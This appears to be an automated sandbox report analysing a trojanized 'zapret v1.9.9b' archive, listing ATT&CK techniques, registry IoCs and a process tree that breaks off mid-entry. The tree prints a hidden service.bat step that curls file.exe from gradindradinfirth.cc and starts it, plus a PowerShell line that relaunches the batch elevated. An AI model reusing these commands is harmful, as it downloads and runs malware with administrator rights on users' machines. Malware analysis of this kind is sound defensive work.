hxxps://limewire[.]com/d/h7Tjq#tAzdgvGW5E

Analysis

user interaction
yes
max time kernel
128s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/07/2026, 04:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://limewire.com/d/h7Tjq#tAzdgvGW5E
Sample260711-e5mlbady31

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
5236	zapret v1.9.9b.exe
2224	winws.exe
5684	WinDivert64.sys

Loads dropped DLL 2 IoCs

pid	Process
2224	winws.exe
2224	winws.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
5948	powershell.exe
4152	powershell.exe
3236	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
564	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5540	sc.exe
4888	sc.exe
4880	sc.exe
3764	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2920	chrome.exe
5484	netsh.exe

Checks processor information in registry 2 TTPs 36 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
1792	timeout.exe
4052	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134282180123424458"	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-540052884-2969440504-464782435-1000\{90A6B8F0-1045-4472-9002-B04EC0284213}	chrome.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\zapret v1.9.9b.rar:Zone.Identifier	firefox.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5948	powershell.exe
5948	powershell.exe
4152	powershell.exe
4152	powershell.exe
3236	powershell.exe
3236	powershell.exe
2468	chrome.exe
2468	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6028	7zFM.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5092	firefox.exe
Token: SeDebugPrivilege	5092	firefox.exe
Token: SeDebugPrivilege	5092	firefox.exe
Token: SeRestorePrivilege	6028	7zFM.exe
Token: 35	6028	7zFM.exe
Token: SeSecurityPrivilege	6028	7zFM.exe
Token: SeDebugPrivilege	5948	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	3236	powershell.exe
Token: SeRestorePrivilege	2224	winws.exe
Token: SeBackupPrivilege	2224	winws.exe
Token: SeDebugPrivilege	2224	winws.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe
Token: SeShutdownPrivilege	2468	chrome.exe
Token: SeCreatePagefilePrivilege	2468	chrome.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
6028	7zFM.exe
6028	7zFM.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe
2468	chrome.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe
5092	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 748 wrote to memory of 5092	748	firefox.exe	85
PID 748 wrote to memory of 5092	748	firefox.exe	85
PID 5092 wrote to memory of 4656	5092	firefox.exe	86
PID 5092 wrote to memory of 4656	5092	firefox.exe	86
PID 5092 wrote to memory of 4656	5092	firefox.exe	86
PID 5092 wrote to memory of 2852	5092	firefox.exe	87
PID 5092 wrote to memory of 2852	5092	firefox.exe	87
PID 5092 wrote to memory of 2852	5092	firefox.exe	87
PID 5092 wrote to memory of 2852	5092	firefox.exe	87
PID 5092 wrote to memory of 688	5092	firefox.exe	88
PID 5092 wrote to memory of 688	5092	firefox.exe	88
PID 5092 wrote to memory of 688	5092	firefox.exe	88
PID 5092 wrote to memory of 688	5092	firefox.exe	88
PID 5092 wrote to memory of 5032	5092	firefox.exe	89
PID 5092 wrote to memory of 5032	5092	firefox.exe	89
PID 5092 wrote to memory of 5032	5092	firefox.exe	89
PID 5092 wrote to memory of 1268	5092	firefox.exe	91
PID 5092 wrote to memory of 1268	5092	firefox.exe	91
PID 5092 wrote to memory of 1268	5092	firefox.exe	91
PID 5092 wrote to memory of 1268	5092	firefox.exe	91
PID 5092 wrote to memory of 2820	5092	firefox.exe	92
PID 5092 wrote to memory of 2820	5092	firefox.exe	92
PID 5092 wrote to memory of 2820	5092	firefox.exe	92
PID 5092 wrote to memory of 2820	5092	firefox.exe	92
PID 5092 wrote to memory of 3248	5092	firefox.exe	93
PID 5092 wrote to memory of 3248	5092	firefox.exe	93
PID 5092 wrote to memory of 3248	5092	firefox.exe	93
PID 5092 wrote to memory of 3248	5092	firefox.exe	93
PID 5092 wrote to memory of 3124	5092	firefox.exe	94
PID 5092 wrote to memory of 3124	5092	firefox.exe	94
PID 5092 wrote to memory of 3124	5092	firefox.exe	94
PID 5092 wrote to memory of 3124	5092	firefox.exe	94
PID 5092 wrote to memory of 3548	5092	firefox.exe	95
PID 5092 wrote to memory of 3548	5092	firefox.exe	95
PID 5092 wrote to memory of 3548	5092	firefox.exe	95
PID 5092 wrote to memory of 3548	5092	firefox.exe	95
PID 5092 wrote to memory of 4852	5092	firefox.exe	96
PID 5092 wrote to memory of 4852	5092	firefox.exe	96
PID 5092 wrote to memory of 4852	5092	firefox.exe	96
PID 5092 wrote to memory of 4852	5092	firefox.exe	96
PID 5092 wrote to memory of 4576	5092	firefox.exe	97
PID 5092 wrote to memory of 4576	5092	firefox.exe	97
PID 5092 wrote to memory of 4576	5092	firefox.exe	97
PID 5092 wrote to memory of 4576	5092	firefox.exe	97
PID 5092 wrote to memory of 4028	5092	firefox.exe	98
PID 5092 wrote to memory of 4028	5092	firefox.exe	98
PID 5092 wrote to memory of 4028	5092	firefox.exe	98
PID 5092 wrote to memory of 4028	5092	firefox.exe	98
PID 5092 wrote to memory of 4772	5092	firefox.exe	99
PID 5092 wrote to memory of 4772	5092	firefox.exe	99
PID 5092 wrote to memory of 4772	5092	firefox.exe	99
PID 5092 wrote to memory of 4772	5092	firefox.exe	99
PID 5092 wrote to memory of 720	5092	firefox.exe	100
PID 5092 wrote to memory of 720	5092	firefox.exe	100
PID 5092 wrote to memory of 720	5092	firefox.exe	100
PID 5092 wrote to memory of 720	5092	firefox.exe	100
PID 5092 wrote to memory of 4748	5092	firefox.exe	101
PID 5092 wrote to memory of 4748	5092	firefox.exe	101
PID 5092 wrote to memory of 4748	5092	firefox.exe	101
PID 5092 wrote to memory of 4748	5092	firefox.exe	101
PID 3092 wrote to memory of 4080	3092	cmd.exe	119
PID 4080 wrote to memory of 5876	4080	cmd.exe	120
PID 4080 wrote to memory of 4052	4080	cmd.exe	121
PID 3092 wrote to memory of 5928	3092	cmd.exe	122

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://limewire.com/d/h7Tjq#tAzdgvGW5E"
1⤵
- Suspicious use of WriteProcessMemory
PID:748
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://limewire.com/d/h7Tjq#tAzdgvGW5E
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2008 -prefsLen 27099 -prefMapHandle 2012 -prefMapSize 270279 -ipcHandle 2076 -initialChannelId {34c31466-4f30-4e82-a5b7-ae7cb350fa87} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:4656
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2500 -prefsLen 27135 -prefMapHandle 2504 -prefMapSize 270279 -ipcHandle 2512 -initialChannelId {80d57fad-239a-4ac1-be36-ebc0fc0dfb6b} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    - Checks processor information in registry
    PID:2852
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3844 -prefsLen 25164 -prefMapHandle 3848 -prefMapSize 270279 -jsInitHandle 3852 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3860 -initialChannelId {c269c072-de68-4ac0-837f-8ccef3fdadc9} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:688
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4008 -prefsLen 27276 -prefMapHandle 4012 -prefMapSize 270279 -ipcHandle 4092 -initialChannelId {2062e54f-0045-40a8-ab4e-e115a5f88c2b} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:5032
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2936 -prefsLen 34775 -prefMapHandle 2896 -prefMapSize 270279 -jsInitHandle 2900 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1620 -initialChannelId {d5e9b303-f17a-4a9e-aeb1-0c138a18fc55} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:1268
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4908 -prefsLen 35012 -prefMapHandle 4912 -prefMapSize 270279 -ipcHandle 4948 -initialChannelId {b493ecdc-92df-4d23-9ae7-b9ebabb85152} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:2820
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5248 -prefsLen 32952 -prefMapHandle 5252 -prefMapSize 270279 -jsInitHandle 5256 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5264 -initialChannelId {f7d9a711-942a-4f49-bdd1-de1e9c83a4f8} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:3248
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5284 -prefsLen 32952 -prefMapHandle 5288 -prefMapSize 270279 -jsInitHandle 5292 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5300 -initialChannelId {00c89121-9dcc-47b1-9ec6-66f0e4315030} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:3124
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5336 -prefsLen 32952 -prefMapHandle 5340 -prefMapSize 270279 -jsInitHandle 5344 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5352 -initialChannelId {3ee83647-37d3-4879-afe3-663a725ecf82} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:3548
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6052 -prefsLen 32952 -prefMapHandle 6056 -prefMapSize 270279 -jsInitHandle 6060 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5796 -initialChannelId {9f3d8a8e-541f-4da8-9709-8af4d33500e6} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
    3⤵
    - Checks processor information in registry
    PID:4852
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6272 -prefsLen 32952 -prefMapHandle 6276 -prefMapSize 270279 -jsInitHandle 6280 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6244 -initialChannelId {329d6e80-bfa8-4440-891f-4a71cf7c0e62} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
    3⤵
    - Checks processor information in registry
    PID:4576
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6448 -prefsLen 32952 -prefMapHandle 6444 -prefMapSize 270279 -jsInitHandle 6440 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6296 -initialChannelId {f7a50806-8660-4953-9576-d4860f45147e} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
    3⤵
    - Checks processor information in registry
    PID:4028
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3176 -prefsLen 33048 -prefMapHandle 7160 -prefMapSize 270279 -jsInitHandle 7164 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7360 -initialChannelId {d6644887-3e24-41d3-b49e-0fdbefd59945} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
    3⤵
    - Checks processor information in registry
    PID:4772
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7388 -prefsLen 33048 -prefMapHandle 7392 -prefMapSize 270279 -jsInitHandle 7396 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7404 -initialChannelId {ad599bdc-ff23-4456-914d-5b1069960c4b} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 14 tab
    3⤵
    - Checks processor information in registry
    PID:720
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 7568 -prefsLen 33048 -prefMapHandle 7572 -prefMapSize 270279 -jsInitHandle 7576 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 7584 -initialChannelId {4fef61ef-d8fd-4a1c-9448-437837934603} -parentPid 5092 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5092" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 15 tab
    3⤵
    - Checks processor information in registry
    PID:4748

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5472

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\zapret v1.9.9b.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:6028

C:\Users\Admin\Desktop\zapret v1.9.9b\zapret v1.9.9b.exe
"C:\Users\Admin\Desktop\zapret v1.9.9b\zapret v1.9.9b.exe"
1⤵
- Executes dropped EXE
PID:5236

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Desktop\zapret v1.9.9b\service.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Windows\system32\cmd.exe
  cmd.exe /c "curl -s -o "C:\Users\Admin\AppData\Local\Temp\file.exe" https://gradindradinfirth.cc/dl/5a3e133b & if exist "C:\Users\Admin\AppData\Local\Temp\file.exe" (timeout /t 1 >nul & start "" "C:\Users\Admin\AppData\Local\Temp\file.exe")"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\system32\curl.exe
    curl -s -o "C:\Users\Admin\AppData\Local\Temp\file.exe" https://gradindradinfirth.cc/dl/5a3e133b
    3⤵
    PID:5876
- - C:\Windows\system32\timeout.exe
    timeout /t 1
    3⤵
    - Delays execution with timeout.exe
    PID:4052
- C:\Windows\system32\where.exe
  where powershell
  2⤵
  PID:5928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -Command "Start-Process 'cmd.exe' -ArgumentList '/c \"\"C:\Users\Admin\Desktop\zapret v1.9.9b\service.bat\" admin\"' -Verb RunAs"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5948
- - C:\Windows\system32\cmd.exe
